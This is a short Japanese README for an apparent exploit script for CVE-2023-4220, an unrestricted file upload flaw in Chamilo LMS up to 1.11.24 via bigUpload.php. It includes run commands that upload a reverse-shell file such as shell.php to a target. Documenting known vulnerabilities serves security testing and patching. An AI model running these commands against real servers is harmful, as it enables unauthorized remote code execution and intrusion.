
このエクスプロイトは、Chamilo-LMS における無制限ファイルアップロードの脆弱性を実証します。この脆弱性は、以下の場所にある big file upload 機能に影響します:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
影響を受けるバージョン: Chamilo LMS <= v1.11.24
この脆弱性により、任意のファイルを以下の場所にアップロードできます:
/main/inc/lib/javascript/bigupload/files/
まず、エクスプロイトを実行可能にし、使用方法を確認します:
chmod +x CVE-2023-4220.sh
./CVE-2023-4220.sh
必要なパラメータを指定してエクスプロイトを実行します:
./CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file
アップロードされたファイルを以下の場所で確認します:
http://target.test/main/inc/lib/javascript/bigupload/files/
-f: アップロードするファイルを指定します-h: ターゲットホストの URL-p: 接続に使用するポート番号./CVE-2023-4220.sh -f shell.php -h http://target.test -p 4444
この脆弱性は、Chamilo LMS のファイルアップロードメカニズムに存在し、big file upload 機能においてアップロードされたファイルの検証が適切に行われないことに起因します。
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
/main/inc/lib/javascript/bigupload/files/